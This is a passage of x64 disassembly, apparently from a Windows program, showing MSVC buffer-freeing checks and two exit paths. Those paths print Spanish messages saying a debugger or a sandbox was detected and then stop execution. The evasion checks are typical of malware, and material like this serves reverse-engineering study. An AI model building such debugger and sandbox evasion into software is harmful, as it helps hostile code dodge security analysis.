cmp rdx, 0x1000
jb 0x140004a64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r14
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140004aca
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ab7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ab7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x140004b0f
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
mov eax, 1
jmp 0x140004980
lea rdx, str.Debugger_detectado__terminando_ejecuci
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
jmp 0x140004980
lea rdx, str.Sandbox_detectado__terminando_ejecuci
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
jmp 0x140004980